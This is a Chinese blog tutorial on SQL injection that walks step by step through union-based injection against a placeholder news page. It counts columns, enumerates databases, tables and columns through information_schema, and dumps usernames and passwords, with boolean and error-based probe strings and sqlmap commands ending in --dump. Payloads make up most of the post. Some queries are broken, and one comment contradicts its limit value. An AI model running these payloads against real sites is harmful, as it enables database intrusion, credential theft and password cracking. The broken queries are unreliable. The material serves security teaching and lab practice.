• SQL注入漏洞原理与利用


    SQL注入漏洞原理与利用

    SQL注入漏洞流程

    • 判断注入类型
    • 判断字段个数
    • 查询回显位
    • 查询数据库名
    • 查询表、字段名
    • 查询内容

    判断注入类型

    1.数字型注入点判断

    当要输入的参数x为数字型时,后端脚本中的SQL语句类型大致如下:

    select * from <表名> where id=x;
    

    数字类型可以使用 and 1=1 和 and 1=2 来判断;

    Url地址中http://XXX.cn/?id=x and 1=1 页面依旧运行正常,继续进行下一步;Url地址中http://XXX.cn/?id=x and 1=2 页面运行错误,则说明此Sql注入为数字型注入。

    2.字符型注入点判断

    当要输入的参数x为字符型时,后端脚本中的SQL语句类型大致如下:

    select * from <表名> where id='x';
    

    字符类型可以使用 单引号 来判断;

    Url地址中输入http://XXX.cn/?id=x'页面运行错误,继续进行下一步;Url地址中继续输入http://XXX.cn/?id=x ’%23页面运行正常,则说明此Sql注入为字符型注入。

    判断字段个数

    利用oder by x 的语法来判断

    Select * from users where id=1 order by 1
    Select * from users where id=1 order by 2
    Select * from users where id=1 order by 3
    

    数字的含义:代表需要从第几个字段来排序

    MySQL 的 ORDER BY 子句来设定你想按哪个字段哪种方式来进行排序,再返回搜索结果。

    查询回显位

    http://XXX.com/?id = 1 and 1=2 union select 1,2,3,4

    MySQL UNION 操作符用于连接两个以上的SELECT语句的结果组合到一个结果集合中。多个SELECT语句会删除重复的数据。

    查询数据库名

    利用Mysql数据库的函数来查询 Select database();

    查询表、字段名

    利用Mysql数据库的特性来查询

    Mysql5以上的版本,会有一个数据库存放着所有数据库的表名、字段名等内容。

    在SQL注入中,会经常对MYSQL数据库的information_schema数据库中的一些表进行查询,以此来获得自己想要的信息。

    常用的表有:

    SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

    TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

    COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename 的结果取之此表。

    查询内容

    ?id = -1 union select 1,CONCAT(username,'-',password)from users

    MySQL 的CONCAT()函数用于将多个字符串连接成一个字符串。

    基于报错的检测方法
    ' "%()
    基于布尔的检测
    1' and '1'='1 / 1'and '1
    1' and '1'='2 /1' and '0
    表列名/显示位置位于哪一列
    ’order by 9-- #按3查询列号排序(注释符:-)
    select * 时表字段数=查询字段数
    联合查询
    'union select 1,2--+
    'union all select database(),2--+
    DB用户:user()
    DB版本:version()
    全局函数:@@datadir、@@hostname、@@VERSION、@@version compile os
    当前库:database()
    ASCII转字符:char()
    mysql数据结构 information_schema

    SQL注入漏洞

    1.页面访问:http://XXX.com/new_list.php?id=1

    数据库:select * from news where id=1

    页面状态:返回内容正常

    说明:正常浏览页面,找到有参数的地方,比如id

    2.页面访问:http://XXX.com/new_list.php?id=1 and 1=1

    数据库:select * from news where id=1 and 1=1

    页面状态:返回内容正常

    说明:测试是否存在SQL语句及类型

    3.页面访问:http://XXX.com/new_list.php?id=1 and 1=2

    数据库:select * from news where id=1 and 1=2

    页面状态:返回内容异常

    说明:SQL语句中,1=2不成立,存在数字型的SQL漏洞

    4.页面访问:http://XXX.com/new_list.php?id=1 order by 1

    数据库:select * from news where id=1 order by 1

    页面状态:返回内容正常

    说明:通过order by N来判断有几个字段,返回内容正常,可以确定至少有1个字段。

    5.页面访问:http://XXX.com/new_list.php?id=1 order by 2

    数据库:select * from news where id=1 order by 2

    页面状态:返回内容正常

    说明:通过order by N来判断有几个字段,返回内容正常,可以确定至少有2个字段。

    6.页面访问:http://XXX.com/new_list.php?id=1 order by 3

    数据库:select * from news where id=1 order by 3

    页面状态:返回内容正常

    说明:通过order by N来判断有几个字段,返回内容正常,可以确定至少有3个字段。

    7.页面访问:http://XXX.com/new_list.php?id=1 order by 4

    数据库:select * from news where id=1 order by 4

    页面状态:返回内容正常

    说明:通过order by N来判断有几个字段,返回内容正常,可以确定至少有4个字段。

    8.页面访问:http://XXX.com/new_list.php?id=1 order by 5

    数据库:select * from news where id=1 order by 5

    页面状态:返回内容异常

    说明:通过order by N来判断有几个字段,返回内容异常,说明有4个字段。

    9.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,2,3,4

    数据库:select * from news where id=1 and 1=2 union select 1,2,3,4

    页面状态:在原来的标题位置显示为2,内容的位置显示为3

    说明:通过SQL语句中and 1=2 union select 1,2,3......,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段,原来的查询应该是Select id,title,contents,times from news where id=1,也就是说title标题是第2个位置显示,contents内容是在第三个位置显示。

    10.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,database(),version(),4

    数据库:select * from news where id=1 and 1=2 union select 1,database(),version(),4

    页面状态:在原来的标题位置显示为数据库名称,内容的位置显示为操作系统版本

    说明:database()是查询当前数据库的名称,一个服务器上可能有多个数据库,version()是查询当前数据的版本。

    11.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

    数据库:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

    页面状态:在原来的标题位置显示为数据库名称,内容的位置显示为3

    说明:这里涉及到数据库information_schema、表SCHEMATA、列SCHEMA_NAME三个内容,数据库information_schema是MySQL系统自带的数据库,其中记录了当前数据库系统中大部分我们需要了解的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。就是这个默认自带的数据中,存储了MySQL的数据库名字、表名字、列名字和其他信息,通过information_schema我们可以查看整个MySQL实例的情况。获取到的为第一个数据库名称。

    12.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

    数据库:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

    页面状态:在原来的标题位置显示为数据库名称,内容的位置显示为3

    说明:limit 4,1意思是从第四行起,取1行数据,为获取第5个数据库名称。

    13.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

    数据库:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

    页面状态:返回内容为空

    说明:limit 5,1意思是从第5行起,取1行数据,返回为空,说明只有5个数据库。

    14.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 0,1

    数据库:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 0,1

    页面状态:在原来的标题位置显示为表名,内容的位置显示为3

    说明:查询对应当前数据库的第1个数据的表名,limit0,1取到的是第一个表名 。

    15.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 1,1

    数据库:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 1,1

    页面状态:在原来的标题位置显示为表名,内容的位置显示为3

    说明:查询对应当前数据库的第1个数据的表名,limit0,1取到的是第2个表名 。

    16.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 2,1

    数据库:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 2,1

    页面状态:返回内容为空

    说明:说明当前数据库只有两个表。

    17.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 0,1

    数据库:select * from news where id=1and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 0,1

    页面状态:在原来的标题上显示列名,内容的位置显示为类型

    说明:查询数据库‘ ’ 的表‘ ’ 中的第一个字段名称与类型。

    18.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 1,1

    数据库:select * from news where id=1and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 1,1

    页面状态:在原来的标题上显示列名,内容的位置显示为类型

    说明:查询数据库‘ ’ 的表‘ ’ 中的第2个字段名称与类型。

    19.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from 库名.表名

    数据库:select * from news where id=1and 1=2 union select 1,count(*),3,4 from 库名.表名

    页面状态:在原来的标题上显示2,内容的位置显示为3

    说明:查询数据库‘ ’ 的表‘ ’ 中的数据总数,共有2条数据。

    20.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,concat(name,'-',password,'-',status),3,4 from 库名.表名 limit 0,1

    数据库:select * from news where id=1and 1=2 union select 1,concat(name,'-',password,'-',status),3,4 from 库名.表名 limit 0,1

    页面状态:在原来的标题上显示xx-xx-xx,内容的位置显示为3

    说明:查询数据库‘ ’ 的表‘ ’ 中的第一条数据的name、password、status的内容,三者之间用-连接起来,CONCAT是把产生的字符串连接起来。获取第一条数据的内容。

    密码一般都是采用字符加密的方式在数据库中存储,拿到加密的密文后,需要分析密码的加密方式,然后去找相对应的系统去‘破解’,拿到明文密码。

    常用工具:Sqlmap

    测试注入: python sqlmap.py -u 'url'

    注数据库:python sqlmap.py -u 'url' --dbs

    注当前数据库:python sqlmap.py -u 'url' --current-db

    注表名:python sqlmap.py -u 'url' -D 库名 --tables

    注列名:python sqlmap.py -u 'url' -D 库名 - T 表名 --columns

    注数据:python sqlmap.py -u 'url' -D 库名 - T 表名 -C 列名,列名 --dump

  • 相关阅读:
    ubuntu中,终端命令行快速打开html文件方法
    Python清空文本内容的两种方法
    科大教学日历
    MJ瀑布流学习笔记
    iOS搜索框
    异步IO
    yield
    ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
    15个常用的javaScript正则表达式
    Linux 升级 Python 至 3.x
  • 原文地址:https://www.cnblogs.com/levelstrcpy/p/14848337.html
Copyright © 2020-2023  润新知